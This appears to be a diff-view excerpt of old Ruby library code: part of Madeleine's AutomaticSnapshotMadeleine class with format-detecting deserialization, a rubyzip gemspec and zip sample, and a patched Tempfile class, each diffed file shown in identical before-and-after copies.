Thread.critical = false
@marshaller = marshaller # until attrb
begin
@persister = persister.new(directory_name, Automatic_marshaller, &new_system_block)
@list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid
begin
ObjectSpace._id2ref(v).sysid = @sysid
false
rescue RangeError
true # Id was to a GC'd object, delete it
end
}
ensure
Thread.current[:system] = false
end
end
#
# Add a proxy object to the list, return the myid for that object
#
def add(proxo)
@list[@myid_count += 1] = proxo.object_id
@myid_count
end
#
# Restore a marshalled proxy object to list - myid_count is increased as required.
# If the object already exists in the system then the existing object must be used.
#
def restore(proxo)
if (@list[proxo.myid])
proxo = myid2ref(proxo.myid)
else
@list[proxo.myid] = proxo.object_id
@myid_count = proxo.myid if (@myid_count < proxo.myid)
end
proxo
end
#
# Returns a reference to the object indicated by the internal id supplied.
#
def myid2ref(myid)
raise "Internal id #{myid} not found" unless objid = @list[myid]
ObjectSpace._id2ref(objid)
end
#
# Take a snapshot of the system.
#
def take_snapshot
begin
Thread.current[:system] = self
Thread.current[:snapshot_memory] = {}
@persister.take_snapshot
ensure
Thread.current[:snapshot_memory] = nil
Thread.current[:system] = false
end
end
#
# Returns the hash containing the systems.
#
def AutomaticSnapshotMadeleine.systems
@@systems
end
#
# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
# system before GC gets them
#
def close
begin
@list.each_key {|k| myid2ref(k).sysid = nil}
rescue RangeError
# do nothing
end
@persister.close
end
#
# Pass on any other calls to the persister
#
def method_missing(symbol, *args, &block)
@persister.send(symbol, *args, &block)
end
end
module Deserialize #:nodoc:
#
# Detect format of an io stream. Leave it rewound.
#
def Deserialize.detect(io)
c = io.getc
c1 = io.getc
io.rewind
if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
Marshal
elsif (c == 31 && c1 == 139) # gzip magic numbers
ZMarshal
else
while (s = io.gets)
break if (s !~ /^\s*$/) # ignore blank lines
end
io.rewind
if (s && s =~ /^\s*<\?[xX][mM][lL]/) # "<?xml" begins an xml serialization
SOAP::Marshal
else
while (s = io.gets)
break if (s !~ /^\s*#/ && s !~ /^\s*$/) # ignore blank and comment lines
end
io.rewind
if (s && s =~ /^\s*---/) # "---" is the yaml header
YAML
else
nil # failed to detect
end
end
end
end
#
# Try to deserialize object. If there was an error, try to detect marshal format,
# and return deserialized object using the right marshaller
# If detection didn't work, raise up the exception
#
def Deserialize.load(io, marshaller=Marshal)
begin
marshaller.load(io)
rescue Exception => e
io.rewind
detected_marshaller = detect(io)
if (detected_marshaller == ZMarshal)
zio = Zlib::GzipReader.new(io)
detected_zmarshaller = detect(zio)
zio.finish
io.rewind
if (detected_zmarshaller)
ZMarshal.new(detected_zmarshaller).load(io)
else
raise e
end
elsif (detected_marshaller)
detected_marshaller.load(io)
else
raise e
end
end
end
end
end
end
AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine

View file

@ -1,20 +1,20 @@
$:.unshift '../lib'
require 'rubygems'
spec = Gem::Specification.new do |s|
s.name = 'rubyzip'
s.version = "0.5.5"
s.author = "Thomas Sondergaard"
s.email = "thomas(at)thomassondergaard.com"
s.homepage = "http://rubyzip.sourceforge.net/"
s.platform = Gem::Platform::RUBY
s.summary = "rubyzip is a ruby module for reading and writing zip files"
s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
s.require_path = '.'
s.autorequire = 'zip/zip'
end
if $0==__FILE__
Gem::Builder.new(spec).build
end
$:.unshift '../lib'
require 'rubygems'
spec = Gem::Specification.new do |s|
s.name = 'rubyzip'
s.version = "0.5.5"
s.author = "Thomas Sondergaard"
s.email = "thomas(at)thomassondergaard.com"
s.homepage = "http://rubyzip.sourceforge.net/"
s.platform = Gem::Platform::RUBY
s.summary = "rubyzip is a ruby module for reading and writing zip files"
s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
s.require_path = '.'
s.autorequire = 'zip/zip'
end
if $0==__FILE__
Gem::Builder.new(spec).build
end

View file

@ -1,13 +1,13 @@
#!/usr/bin/env ruby
$: << ".."
require 'zip/zip'
include Zip
ZipOutputStream.open('simple.zip') {
|zos|
ze = zos.put_next_entry 'entry.txt'
zos.puts "Hello world"
#!/usr/bin/env ruby
$: << ".."
require 'zip/zip'
include Zip
ZipOutputStream.open('simple.zip') {
|zos|
ze = zos.put_next_entry 'entry.txt'
zos.puts "Hello world"
}

View file

@ -1,195 +1,195 @@
#
# tempfile - manipulates temporary files
#
# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
#
require 'delegate'
require 'tmpdir'
module BugFix
# A class for managing temporary files. This library is written to be
# thread safe.
class Tempfile < DelegateClass(File)
MAX_TRY = 10
@@cleanlist = []
# Creates a temporary file of mode 0600 in the temporary directory
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
# object works just like a File object.
#
# If tmpdir is omitted, the temporary directory is determined by
# Dir::tmpdir provided by 'tmpdir.rb'.
# When $SAFE > 0 and the given tmpdir is tainted, it uses
# /tmp. (Note that ENV values are tainted by default)
def initialize(basename, tmpdir=Dir::tmpdir)
if $SAFE > 0 and tmpdir.tainted?
tmpdir = '/tmp'
end
lock = nil
n = failure = 0
begin
Thread.critical = true
begin
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
lock = tmpname + '.lock'
n += 1
end while @@cleanlist.include?(tmpname) or
File.exist?(lock) or File.exist?(tmpname)
Dir.mkdir(lock)
rescue
failure += 1
retry if failure < MAX_TRY
raise "cannot generate tempfile `%s'" % tmpname
ensure
Thread.critical = false
end
@data = [tmpname]
@clean_proc = Tempfile.callback(@data)
ObjectSpace.define_finalizer(self, @clean_proc)
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
@tmpname = tmpname
@@cleanlist << @tmpname
@data[1] = @tmpfile
@data[2] = @@cleanlist
super(@tmpfile)
# Now we have all the File/IO methods defined, you must not
# carelessly put bare puts(), etc. after this.
Dir.rmdir(lock)
end
# Opens or reopens the file with mode "r+".
def open
@tmpfile.close if @tmpfile
@tmpfile = File.open(@tmpname, 'r+')
@data[1] = @tmpfile
__setobj__(@tmpfile)
end
def _close # :nodoc:
@tmpfile.close if @tmpfile
@data[1] = @tmpfile = nil
end
protected :_close
# Closes the file. If the optional flag is true, unlinks the file
# after closing.
#
# If you don't explicitly unlink the temporary file, the removal
# will be delayed until the object is finalized.
def close(unlink_now=false)
if unlink_now
close!
else
_close
end
end
# Closes and unlinks the file.
def close!
_close
@clean_proc.call
ObjectSpace.undefine_finalizer(self)
end
# Unlinks the file. On UNIX-like systems, it is often a good idea
# to unlink a temporary file immediately after creating and opening
# it, because it leaves other programs zero chance to access the
# file.
def unlink
# keep this order for thread safeness
File.unlink(@tmpname) if File.exist?(@tmpname)
@@cleanlist.delete(@tmpname) if @@cleanlist
end
alias delete unlink
if RUBY_VERSION > '1.8.0'
def __setobj__(obj)
@_dc_obj = obj
end
else
def __setobj__(obj)
@obj = obj
end
end
# Returns the full path name of the temporary file.
def path
@tmpname
end
# Returns the size of the temporary file. As a side effect, the IO
# buffer is flushed before determining the size.
def size
if @tmpfile
@tmpfile.flush
@tmpfile.stat.size
else
0
end
end
alias length size
class << self
def callback(data) # :nodoc:
pid = $$
lambda{
if pid == $$
path, tmpfile, cleanlist = *data
print "removing ", path, "..." if $DEBUG
tmpfile.close if tmpfile
# keep this order for thread safeness
File.unlink(path) if File.exist?(path)
cleanlist.delete(path) if cleanlist
print "done\n" if $DEBUG
end
}
end
# If no block is given, this is a synonym for new().
#
# If a block is given, it will be passed tempfile as an argument,
# and the tempfile will automatically be closed when the block
# terminates. In this case, open() returns nil.
def open(*args)
tempfile = new(*args)
if block_given?
begin
yield(tempfile)
ensure
tempfile.close
end
nil
else
tempfile
end
end
end
end
end # module BugFix
if __FILE__ == $0
# $DEBUG = true
f = Tempfile.new("foo")
f.print("foo\n")
f.close
f.open
p f.gets # => "foo\n"
f.close!
end
#
# tempfile - manipulates temporary files
#
# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
#
require 'delegate'
require 'tmpdir'
module BugFix
# A class for managing temporary files. This library is written to be
# thread safe.
class Tempfile < DelegateClass(File)
MAX_TRY = 10
@@cleanlist = []
# Creates a temporary file of mode 0600 in the temporary directory
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
# object works just like a File object.
#
# If tmpdir is omitted, the temporary directory is determined by
# Dir::tmpdir provided by 'tmpdir.rb'.
# When $SAFE > 0 and the given tmpdir is tainted, it uses
# /tmp. (Note that ENV values are tainted by default)
def initialize(basename, tmpdir=Dir::tmpdir)
if $SAFE > 0 and tmpdir.tainted?
tmpdir = '/tmp'
end
lock = nil
n = failure = 0
begin
Thread.critical = true
begin
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
lock = tmpname + '.lock'
n += 1
end while @@cleanlist.include?(tmpname) or
File.exist?(lock) or File.exist?(tmpname)
Dir.mkdir(lock)
rescue
failure += 1
retry if failure < MAX_TRY
raise "cannot generate tempfile `%s'" % tmpname
ensure
Thread.critical = false
end
@data = [tmpname]
@clean_proc = Tempfile.callback(@data)
ObjectSpace.define_finalizer(self, @clean_proc)
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
@tmpname = tmpname
@@cleanlist << @tmpname
@data[1] = @tmpfile
@data[2] = @@cleanlist
super(@tmpfile)
# Now we have all the File/IO methods defined, you must not
# carelessly put bare puts(), etc. after this.
Dir.rmdir(lock)
end
# Opens or reopens the file with mode "r+".
def open
@tmpfile.close if @tmpfile
@tmpfile = File.open(@tmpname, 'r+')
@data[1] = @tmpfile
__setobj__(@tmpfile)
end
def _close # :nodoc:
@tmpfile.close if @tmpfile
@data[1] = @tmpfile = nil
end
protected :_close
# Closes the file. If the optional flag is true, unlinks the file
# after closing.
#
# If you don't explicitly unlink the temporary file, the removal
# will be delayed until the object is finalized.
def close(unlink_now=false)
if unlink_now
close!
else
_close
end
end
# Closes and unlinks the file.
def close!
_close
@clean_proc.call
ObjectSpace.undefine_finalizer(self)
end
# Unlinks the file. On UNIX-like systems, it is often a good idea
# to unlink a temporary file immediately after creating and opening
# it, because it leaves other programs zero chance to access the
# file.
def unlink
# keep this order for thread safeness
File.unlink(@tmpname) if File.exist?(@tmpname)
@@cleanlist.delete(@tmpname) if @@cleanlist
end
alias delete unlink
if RUBY_VERSION > '1.8.0'
def __setobj__(obj)
@_dc_obj = obj
end
else
def __setobj__(obj)
@obj = obj
end
end
# Returns the full path name of the temporary file.
def path
@tmpname
end
# Returns the size of the temporary file. As a side effect, the IO
# buffer is flushed before determining the size.
def size
if @tmpfile
@tmpfile.flush
@tmpfile.stat.size
else
0
end
end
alias length size
class << self
def callback(data) # :nodoc:
pid = $$
lambda{
if pid == $$
path, tmpfile, cleanlist = *data
print "removing ", path, "..." if $DEBUG
tmpfile.close if tmpfile
# keep this order for thread safeness
File.unlink(path) if File.exist?(path)
cleanlist.delete(path) if cleanlist
print "done\n" if $DEBUG
end
}
end
# If no block is given, this is a synonym for new().
#
# If a block is given, it will be passed tempfile as an argument,
# and the tempfile will automatically be closed when the block
# terminates. In this case, open() returns nil.
def open(*args)
tempfile = new(*args)
if block_given?
begin
yield(tempfile)
ensure
tempfile.close
end
nil
else
tempfile
end
end
end
end
end # module BugFix
if __FILE__ == $0
# $DEBUG = true
f = Tempfile.new("foo")
f.print("foo\n")
f.close
f.open
p f.gets # => "foo\n"
f.close!
end